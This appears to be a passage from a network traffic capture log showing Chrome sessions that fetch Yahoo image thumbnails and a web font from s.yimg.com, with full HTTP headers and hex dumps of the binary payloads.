2024-01-10 23:27:09 UTC	747	OUT	GET /uu/api/res/1.2/qsl2XvTswucVaJ0i01KLDQ--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/nbc_today_217/78dc3507a3d6b6cef696374ddad0c7e6.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:09 UTC	1288	IN	HTTP/1.1 200 OK Content-Length: 10198 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 294976899859197393032352645973859864370,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="78dc3507a3d6b6cef696374ddad0c7e6.webp" Edge-Cache-Tag: 294976899859197393032352645973859864370,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Etag: "584398faac5c56b833087c5794209f16" Expiration: expiry-date="Tue, 09 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 10 Jan 2024 12:07:09 GMT Server: ATS Surrogate-Reporting: width=356,height=180,bytes=10198,owidth=1500,oheight=1029,obytes=211968,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Wed, 10 Jan 2024 12:28:19 GMT X-Served-By: cache-lga21969-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704889700.898437,VS0,VE1 Age: 39530 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_by: cache-lga21969-LGA cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close
2024-01-10 23:27:09 UTC	201	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 52 49 46 46 ce 27 00 00 57 45 42 50 56 50 38 20 c2 27 00 00 b0 b9 00 9d 01 2a 64 01 b4 00 3e 79 34 95 47 24 a2 a2 21 2c 32 9d 48 90 0f 09 40 19 12 cf eb b3 d8 cc e9 f2 a2 f5 48 fa 3e 3d f0 fd 35 f9 8a f3 fd f3 49 fb 5f ea b3 e9 bb fb 1f a8 77 f8 0e aa 9f 42 2e 98 ff ee 9e 6a b8 43 7c a3 fe 7f 86 fe 66 3e c7 fc 17 21 18 9a f8 6f 9c ef f2 fc 3f e0 4c fc fb 49 af d7 c4 8e 43 bc 56 4f 15 e0 97 51 1e 99 2d a4 51 81 01 75 5c 59 b4 1a 43 31 b6 79 7a 59 f1 c8 7d ca a0 1f 48 a2 2f 3e c2 f2 5b 35 44 29 8a 2c 93 5a 68 97 81 62 ce c6 e3 2b 77 6c 17 3a f9 87 fa f2 23 ba ab b0 6f 51 05 ce 13 31 1d 95 3e c8 d5 80 04 97 c3 77 2c f5 10 17 db 1c bc de 50 b7 a2 56 56 fd c5 34 af c8 e3 57 2a 6d 3c 2f 54 2d 86 3d 1c b7 a8 7f 9f f7 2f 2d 2d 5c 44 4b 67 95 c1 fe a9 7d 0b df 9c Data Ascii: RIFF'WEBPVP8 'd>y4G$!,2H@H>=5I_wB.jC\|f>!o?LICVOQ-Qu\YC1yzY}H/>[5D),Zhb+wl:#oQ1>w,PVV4Wm</T-=/--\DKg}
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 60 5a 1e 85 39 05 56 55 95 b9 cd ff 51 35 fe 6e 23 8d 1e aa 46 46 cf 09 f4 17 f4 2d 2b 9b b2 26 ca ed 01 b0 57 c1 77 0f 1c b1 8b cd be 96 db 5f 3e fe 88 a4 8c 44 bf 09 d2 7b bd 8b 09 8f 4c cb 6b 3e 00 dd f4 91 57 90 fe 49 21 4a ff a4 38 53 81 f1 16 67 66 cf 95 a7 83 02 d8 a0 67 a2 a0 71 59 fa 3b d1 87 88 bc 11 10 1a 56 5f e7 10 0f 7e b7 d3 de 5b c0 6d 42 67 5e 3a 74 ef 27 03 66 dd 6c 49 3a 29 0c 71 9c a5 23 b4 52 70 94 5d 96 60 aa 8b 8d 00 3f fe 43 70 68 e4 18 3e 8f 1d 34 c3 f1 8a 55 59 53 a9 dc a2 0e e4 2c 68 33 b1 23 e7 c3 2f da 8a f3 73 5d de e9 cd c3 14 aa 0f ed 05 7f 6d d3 3a 89 05 2d 80 e5 2f bc ca 15 2a 19 33 89 9e 9d 43 56 d8 00 fe fd e0 ee 05 1a ad bb df b8 54 9f a7 6a 27 66 29 b9 38 7a e9 40 6f bf 91 cd 1c fa e4 e5 d6 84 3a fe e0 68 6f 19 04 af Data Ascii: `Z9VUQ5n#FF-+&Ww_>D{Lk>WI!J8SgfgqY;V_~[mBg^:t'flI:)q#Rp]`?Cph>4UYS,h3#/s]m:-/*3CVTj'f)8z@o:ho
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 3c b6 77 b4 1d de b0 e7 de 74 22 0a 9e 1b e3 87 32 c5 fb 12 e6 eb 46 a8 57 de ca e3 15 eb 85 f3 0b 04 fe 52 7f 09 d4 7a 7a f1 1b 55 21 23 f6 6c 8d e0 11 09 74 cf 14 95 cd 2d 9f 41 4f 8e eb 0c c6 3d 3c e1 ff 3c 90 e6 24 11 9a 49 9c 8f c9 68 35 c9 99 bd b8 c7 e3 2a 42 97 10 02 9a e4 e6 61 52 3f b5 66 4e c7 ac b5 b5 64 ce ca 68 ba a6 4c c7 f5 c5 90 8f 76 91 46 96 ba 96 71 cd 7d 6a 4e 63 ff bb 24 c6 bb 47 cb 09 4f e2 7a 06 61 57 f6 bf 1e 62 3d e9 a4 e4 62 65 1e 1c bc 07 be 58 84 61 7e f5 15 81 19 fe b7 8e 51 7d 17 8f 75 04 22 5f 29 9e 31 34 c4 6b 6e ec e6 5a d2 c7 4b f9 e9 41 60 ef 9c 1a 3c 86 a6 2d 52 b7 2f 7b 57 24 45 a1 7b 48 7c e4 16 07 04 63 be 3d 1e c0 fd d1 c4 1c c3 10 12 ca d2 03 b5 dd 43 05 1c 82 6e d5 69 d9 3a 48 f1 f6 f7 a1 dc 0e 00 5c 8d 37 d1 d5 Data Ascii: <wt"2FWRzzU!#lt-AO=<<$Ih5*BaR?fNdhLvFq}jNc$GOzaWb=beXa~Q}u"_)14knZKA`<-R/{W$E{H\|c=Cni:H\7
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 64 c9 bd 93 d0 74 0d 8c 44 4b d8 61 5a 46 78 b5 15 09 7b 2c 5b 8e 93 0d f0 af b8 84 94 6e a3 db e9 8e 50 37 a5 f2 e3 ad 43 6b 35 f6 9a 63 1a fd ca 52 b4 51 b3 99 b4 88 05 e6 a2 30 2e ac 07 69 16 fe 8a bd 1d 6a a2 19 18 80 a0 be 20 2b 93 a9 4b 40 a2 4a bb cd b3 39 85 4a 9b 4f fb 2b 0c 9b e8 ea fc 29 be 12 32 cd 62 ed 16 8f 8a 86 f3 76 c9 bf b8 74 46 64 e9 9a 6f 60 52 42 2f 71 ab ac 1c cb b4 ee c4 ca f6 e6 fc c6 03 9e 90 d6 87 b4 08 b0 fc 50 34 c5 10 e1 af fe 36 86 e8 0a 45 73 e0 8b b6 9f 35 2d 81 ff d1 ab e7 f4 d6 cd 7b 9c 65 fb 4c d2 9a 0e 70 c8 4c d8 4a 42 c6 f0 bf 54 dd 01 ce dc c4 1e 24 bf ff 98 af b2 83 e2 27 a8 56 63 6b 5b 84 b5 8e ed 48 c4 21 1d 24 1e d2 58 f9 24 78 d7 4c 7c 1d a8 51 1d d7 bd 00 81 4a 54 8d c7 03 07 47 0e 56 fc 9f be 0a 4c 57 6e 8d Data Ascii: dtDKaZFx{,[nP7Ck5cRQ0.ij +K@J9JO+)2bvtFdo`RB/qP46Es5-{eLpLJBT$'Vck[H!$X$xL\|QJTGVLWn
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 52 a7 78 50 ad fb fa 2a 24 76 c8 95 2b 67 ae af 44 55 98 91 de 81 39 8a 54 38 78 4b df 15 31 96 b1 3e fa 56 85 10 8a c0 60 40 7d 4d 26 8b af fa af c7 05 43 14 18 54 7d f6 7f 52 7b 54 2b db c7 ea a2 c9 9b e2 3a 51 79 20 ff d8 ff 57 c2 79 df 49 55 1f 76 1d 11 c8 00 4c dd 56 a2 c7 c5 c2 e8 dc 16 a9 40 e2 b3 9e a5 ab 69 db 50 d0 c3 cb 9d 6a da 0d 32 90 32 4e 73 33 fb 8a f3 36 08 91 45 0f 67 1f 2d 2e 7a 9d 67 14 ff de c5 c0 41 24 0a e2 37 da 62 09 e7 1f 6b f2 dc e7 34 f6 14 f9 c1 a9 e5 e1 7c cb 7c 40 3e 28 3f 77 d9 b3 81 2b 40 97 50 cc cf f8 8e 25 6d e1 12 72 7b d6 7d cc a7 4e cf 66 fe 00 7f 8f d1 3f 1a d4 be 60 dc 80 89 63 48 30 7e c0 e2 c9 5c af 56 14 96 be 06 3e c5 f3 15 3a 7a 09 79 dd d6 7b ff 8f 09 18 f3 3a ab 11 86 d4 cd 13 05 97 ca 4d fc ff bb 98 bc 75 Data Ascii: RxP*$v+gDU9T8xK1>V`@}M&CT}R{T+:Qy WyIUvLV@iPj22Ns36Eg-.zgA$7bk4\|\|@>(?w+@P%mr{}Nf?`cH0~\V>:zy{:Mu
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: e5 31 3d ff 72 6b ce bd f8 75 59 19 31 45 6e 18 ac 2a 46 d5 85 09 34 a0 2f bf cf f2 0b 6f 78 5d 7f f6 5b ba 6b a7 78 84 6e 38 05 f6 75 ac 06 e1 31 65 cf e2 8b 4e cf 52 c6 4a 8a 23 3a 87 73 64 5c 35 b4 0f 96 d4 ba 4e 38 53 12 ff 11 99 50 99 9e b6 75 cd 02 a2 dc 82 11 48 d7 8f 7e 81 42 f6 c8 bd 86 0d 22 f5 18 cd 6a 3e 79 a8 a6 a1 0e 4a f6 19 bd b9 ff cd a1 0a f0 55 6a 87 6b 56 60 04 82 b1 96 86 8e 51 ad b7 79 d9 9d c5 ac ae b5 42 76 8f 7c ba 11 30 d4 52 32 1a 69 a6 35 bb 68 9b 4f a9 e2 67 2c fb e9 bd b9 de 95 eb ff 72 58 42 74 aa e6 04 b5 2c e8 d5 cb 5a 3e 48 0e 6e 90 de 4a 4e f9 78 a0 49 4f 4f cf ba 4d 35 3d a6 3c 50 57 3c eb a9 53 06 dd f5 e2 f5 9c f4 65 88 5c 58 46 24 4f 97 0e b7 e8 fb d3 34 24 24 7e df 21 9d 3f d0 dc ec 2f 92 5b e0 e2 d6 f1 8d 5c c0 d9 Data Ascii: 1=rkuY1En*F4/ox][kxn8u1eNRJ#:sd\5N8SPuH~B"j>yJUjkV`QyBv\|0R2i5hOg,rXBt,Z>HnJNxIOOM5=<PW<Se\XF$O4$$~!?/[\
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 6b 5e 04 5e 96 ec cf d0 4f 26 46 39 b7 13 f4 2e 32 34 af e7 8b 9e 36 d0 9a 7b dc db ec 40 09 18 90 e6 ab a5 3f 7b 85 97 0a 6e c4 cf 6d 78 5b a4 0d b6 66 f4 c5 b7 a6 39 fd bb ec de 28 5d 19 f2 ba 99 b7 95 02 49 2e 69 8d 52 71 ac dc 3a f5 37 8a ed 81 cf 12 0d 12 82 6c c8 7c 3b 8c de ee 78 ff 9e 3f a9 95 72 71 4d cd 35 1b c1 8e b4 4e a2 e3 ad 98 f2 99 f6 89 dc e0 ad b4 0a 59 8a 0f c1 fe 86 09 c7 c4 12 18 df 28 6d a1 32 a6 d9 ff be 41 3e 20 46 d6 0e 7b fa 89 a9 e3 68 6b 91 fa 18 eb a8 ab 2f 4e 62 c7 ff 21 9b 1a 0c 8f 78 27 03 29 c2 ef 72 63 67 e8 ed 4f 9f 52 ec 29 ce 80 2a 74 51 27 30 c7 28 75 36 7e d1 d7 d2 3d 17 e1 4a ba a1 66 da 35 fb 7d f0 94 b8 87 74 ec cb 69 19 fb c1 41 34 24 f1 59 12 4a 2f 38 fc 2f d5 5a be 3a 55 74 a6 bc da 55 f1 2a 04 27 63 e1 a4 0e Data Ascii: k^^O&F9.246{@?{nmx[f9(]I.iRq:7l\|;x?rqM5NY(m2A> F{hk/Nb!x')rcgOR)tQ'0(u6~=Jf5}tiA4$YJ/8/Z:UtU'c
2024-01-10 23:27:09 UTC	1098	IN	Data Raw: 4d 9d 55 08 f7 34 95 19 47 7f 0c bd c0 08 00 d0 fc 21 7c 79 ec 46 ad f3 53 22 53 c7 e7 c1 ec ef 18 9b 50 e6 d7 ed af c6 3e a4 2f 3f 97 85 ab a8 7a 3b a5 38 c5 30 75 b0 bf f6 7e 30 0c 06 a2 cf 95 2d 6e 20 ad 34 9f 5f 27 cc b1 8b f5 6b 00 c3 c4 97 e5 46 e7 93 09 ca 41 92 d9 83 3a b6 f4 77 3d af 70 a1 2a e4 67 1d 13 26 88 3b 12 0f 89 28 7c 58 dd 0c ff 17 e9 2a 5e 7b c0 54 b8 25 52 6b 2c 1d c6 ff de 77 2f 07 9a c3 69 4a aa d7 ec 1d da 34 9c c4 a4 c9 1a 38 8b 50 ae 35 73 73 2c 13 4c 4b b5 31 73 fe 09 ee 7a fb 41 0c 08 8a aa da 92 86 43 a8 b9 c1 15 86 fb dd da c7 21 c0 d5 80 ad 3a ba 42 84 a8 c0 f7 70 37 e4 30 a4 be a7 49 db b9 bc 23 24 4a b4 ee d6 06 a2 da 58 53 c5 93 93 3f 9f eb 8c cf 51 e3 7e b7 98 5d 74 9d c5 dd 2f 9f ec 67 6f a4 3a 0d b2 69 9e d0 c2 85 b9 Data Ascii: MU4G!\|yFS"SP>/?z;80u~0-n 4_'kFA:w=pg&;(\|X^{T%Rk,w/iJ48P5ss,LK1szAC!:Bp70I#$JXS?Q~]t/go:i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49806	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:09 UTC	763	OUT	GET /uu/api/res/1.2/6AX6SotpNVR0CtKRAjt6IA--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/51564f40-b005-11ee-9ddb-e84002ab0910.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:09 UTC	1201	IN	HTTP/1.1 200 OK Content-Length: 4286 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 434520894366980052488718884190113476008,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="51564f40-b005-11ee-9ddb-e84002ab0910.webp" Edge-Cache-Tag: 434520894366980052488718884190113476008,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Etag: "0d3998a0a17a18c01aadb680cd677bbb" Expiration: expiry-date="Tue, 09 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 10 Jan 2024 22:13:16 GMT Server: ATS Surrogate-Reporting: width=356,height=180,bytes=4286,owidth=2170,oheight=1222,obytes=325390,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Wed, 10 Jan 2024 22:24:19 GMT X-Served-By: cache-iad-kjyo7100177-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704925460.763506,VS0,VE4 Age: 3770 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close
2024-01-10 23:27:09 UTC	201	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 52 49 46 46 b6 10 00 00 57 45 42 50 56 50 38 20 aa 10 00 00 10 69 00 9d 01 2a 64 01 b4 00 3e 79 3a 98 49 24 a3 22 a4 25 f1 9a 70 90 0f 09 67 08 91 53 7d f6 d1 31 0e 10 86 06 61 24 be 79 b4 1f a5 64 02 3f 9b a8 53 c2 fa b1 96 73 c9 f8 01 fd b4 69 7f 58 12 e6 fe 65 31 43 66 81 4c 34 d9 d8 55 85 3b ff 8c 8e 37 44 fa 62 ee cd 97 9d e7 6f 17 a2 b3 26 7b 49 07 02 ba db 48 d6 4a d7 ea 52 a6 74 22 5c fd b4 a6 9a 40 18 e1 65 32 00 a8 e6 d9 f3 ac ef 9e 23 b6 73 6d 69 99 7a 52 a1 ee 45 67 46 58 df 27 3a fd 6f ac 09 d7 e3 24 e2 e8 b4 38 3f d5 4b 56 c4 4e 8b 99 e3 b6 16 54 ef d1 bf 33 12 ed ba 95 5f 10 53 a8 f4 7d cd d1 01 12 6d ba df 9e 30 4c e2 ea ad 98 54 65 6c a8 5b 4a b7 de c6 71 38 38 e9 ea f8 9e d0 6b 7a 68 91 15 7e 17 4a bb c7 e9 1a e1 12 4d 90 81 50 7a cd 1b Data Ascii: RIFFWEBPVP8 i*d>y:I$"%pgS}1a$yd?SsiXe1CfL4U;7Dbo&{IHJRt"\@e2#smizREgFX':o$8?KVNT3_S}m0LTel[Jq88kzh~JMPz
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 5e 0d 4c 04 82 45 21 27 6f c4 32 51 5e 8d 36 d5 96 65 73 71 7e 28 81 d7 59 49 37 b9 9e 3c b7 1c db 14 52 49 d9 61 10 65 c4 10 4a a5 02 b7 93 44 1e 4d cb 38 ff 33 7e 22 3d b5 39 c3 36 0f fa 8b e9 39 98 0d 07 77 00 e1 26 d9 6b f5 5a 37 f9 5a 00 a6 1a 75 7a df 39 27 a7 4c de 5a 69 01 87 77 64 71 f1 47 77 78 6f 28 58 e3 b9 98 6b 30 31 bf 28 1e ba ac 92 3d 82 1e 96 41 e3 9c df 81 0d c0 a0 2e 15 d2 69 70 91 3a 75 3c d1 76 e3 90 85 e1 aa 98 a4 98 c6 3e e3 1f b7 07 ff 99 c6 8c 3e b3 d1 24 76 dc 9f b8 c0 bf 64 88 35 7f cd 32 65 d2 6b 13 7a fa c2 6e 94 ba 5b b7 ec 00 2e dc 93 a2 14 80 ee 79 62 58 a7 2e 5f 1f 11 9a 37 35 70 50 6b 09 5b bf 3d 15 94 00 e6 25 eb 69 16 59 38 01 6a e5 1a 4f b3 b4 c1 37 f5 ba 09 bf 75 42 9f 99 c5 fd 9b 3e 1c 4b 7d 1e b7 07 58 86 9d 46 e3 Data Ascii: ^LE!'o2Q^6esq~(YI7<RIaeJDM83~"=969w&kZ7Zuz9'LZiwdqGwxo(Xk01(=A.ip:u<v>>$vd52ekzn[.ybX._75pPk[=%iY8jO7uB>K}XF
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 80 10 3d 56 4a 16 8a 64 53 0f 78 d5 4a be ac 10 5e aa 50 ee dc 46 0a 2a 40 0f 6b 7a 5b 27 37 7b cf 43 04 ad 04 73 c6 88 6e c9 c5 2a 6d 48 bd cb e1 8c 20 9a cc 65 03 10 c1 b3 21 11 50 5f 5f 5f 28 45 1a 92 b7 08 99 32 80 e0 35 74 c4 7f b7 56 60 42 2c e5 13 79 59 b0 d9 2e 8e 06 5c 9c 14 de 1c dd 8e 37 72 4c b0 75 42 16 36 e2 59 27 ba d0 fe 70 58 ad a4 43 95 8b ac 40 06 ee c9 0d 36 de a0 3c c2 52 6b 45 fa 44 85 cf 22 4f 96 e1 4c 63 77 f8 b8 66 63 cb fe ba 72 d3 bc 3e f0 86 eb f2 54 41 98 a4 87 e1 38 cf 9d a8 08 be 7b f9 87 5d ba df 09 82 6a 2a 43 6b ea 04 05 1c 1c 39 56 af c9 e3 59 57 0e b3 02 82 69 d4 71 c0 8e 96 99 3e 5a ca 41 22 2b 8b e2 5b 59 09 48 4d 24 f3 82 98 75 f3 df 39 8d 27 74 75 2d f6 06 53 be c2 d4 a7 83 90 4e 9d ee 5e 2b 67 0d 86 a8 ea 7a cf ea Data Ascii: =VJdSxJ^PF@kz['7{CsnmH e!P___(E25tV`B,yY.\7rLuB6Y'pXC@6<RkED"OLcwfcr>TA8{]j*Ck9VYWiq>ZA"+[YHM$u9'tu-SN^+gz
2024-01-10 23:27:09 UTC	386	IN	Data Raw: c8 c3 f1 fd d8 21 df 5a cf ec 91 46 db e1 98 9b 2c 0d 4f 6e b8 e6 a9 84 7c 2c 0c ad b4 9a 76 bc d2 6f 61 9d 26 77 be fa 3b 99 e3 87 51 5a 13 22 ad de 90 b1 b5 ce 75 b5 fe a9 7f 7a 10 4e 71 97 d5 e3 09 2e fa ea d2 12 b7 68 61 6d 95 2b 3f 8c 3f dd 2d ae 46 3a df 61 f7 2f d6 19 19 a8 2b 8b 3e 29 df be 13 0b f4 d7 7a 93 58 93 1b 9d 13 71 27 a6 64 91 c2 d6 dc 20 73 92 79 41 c2 67 c8 74 b9 15 42 9a f7 66 6f 2a de a9 2d f5 b0 3b ab 89 84 88 92 2f ab 6a 1a f9 57 43 66 0a 56 16 84 59 18 bd f4 35 5b 08 9d fd c0 11 ca a7 04 e5 f3 58 8e c2 44 ba 86 9d ab 40 e1 db 10 a5 7a b4 d9 84 fc c1 e2 f8 33 d8 27 c1 61 8d d6 88 8e 82 35 b6 52 c1 7f 07 b0 61 4d 82 47 3e 0f 49 d4 7d 6d 6b 9e e5 55 c6 2e 7d e6 01 c0 8f a5 74 17 e9 21 2b b2 66 e4 ba cb 1d d9 ef 39 4b 81 eb be 51 8b Data Ascii: !ZF,On\|,voa&w;QZ"uzNq.ham+??-F:a/+>)zXq'd syAgtBfo*-;/jWCfVY5[XD@z3'a5RaMG>I}mkU.}t!+f9KQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49804	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:09 UTC	570	OUT	GET /os/fontserver/YahooSans/Regular.woff2 HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.yahoo.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:09 UTC	1120	IN	HTTP/1.1 200 OK x-amz-id-2: gNTftvtPYjVUNpMHRn/0Uev3mH/VLmvuZF9wcdMeLjepcSkEALQtYq+D2F6O+QjvXtd0iUqHgWM= x-amz-request-id: YKZ3QKT550CJB5PQ Date: Fri, 05 Jan 2024 23:18:14 GMT Last-Modified: Wed, 16 May 2018 16:32:11 GMT ETag: "a99b283070afc519f4816e4300c515d2" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=536112000 x-amz-meta-created-date: Tue, 17 Oct 2017 20:59:03 GMT x-amz-meta-mbst-etag: "YM:1:cd38276d-8695-4172-982e-30a706d38b1000055bc464a77248" x-amz-meta-x-ysws-mbst-vtime: 1508273943966280 Expires: Sat, 12 May 2035 16:32:10 GMT x-amz-meta-x-ysws-access: public x-amz-version-id: null Accept-Ranges: bytes Content-Type: application/font-woff2 Server: ATS Content-Length: 28860 Referrer-Policy: no-referrer-when-downgrade Age: 432536 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 70 bc 00 10 00 00 00 01 84 f0 00 00 70 59 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 82 a9 38 1c 95 54 06 60 00 89 54 08 81 0a 09 82 73 11 0c 0a 82 f4 4c 82 d0 3c 0b 87 1a 00 01 36 02 24 03 8e 30 04 20 05 8d 00 07 98 2c 0c 89 56 5b 30 6e 71 06 d5 6b e7 07 12 7a b3 aa 1e 37 ec dc 0f 56 c2 6e 62 bf db b1 a8 fc 3c 7b a5 02 6e 0c dd b0 71 30 0c 6e 4f 99 fd ff ff ff b9 49 25 0e 4b 8a b4 bd 83 63 d8 66 f3 3f c8 72 77 2b 02 8a 40 66 20 d3 a9 28 b3 ba 7b 26 4a 08 39 96 5a 31 61 8e 40 18 c2 32 5a cd 67 b3 99 ab 06 13 46 75 6c 28 a2 84 1e a6 b4 d3 41 47 87 25 ad 4d 66 d8 cb 3c 93 68 d7 29 e3 c9 c7 8b 5e 81 ed 2d b4 4c d1 f9 6c a1 0b 8e 88 8a e0 88 4f 33 d6 7d fa e2 25 9e 8b 71 c3 b9 f1 38 99 1e 18 bf e4 Data Ascii: wOF2ppY8T`TsL<6$0 ,V[0nqkz7Vnb<{nq0nOI%Kcf?rw+@f ({&J9Z1a@2ZgFul(AG%Mf<h)^-LlO3}%q8
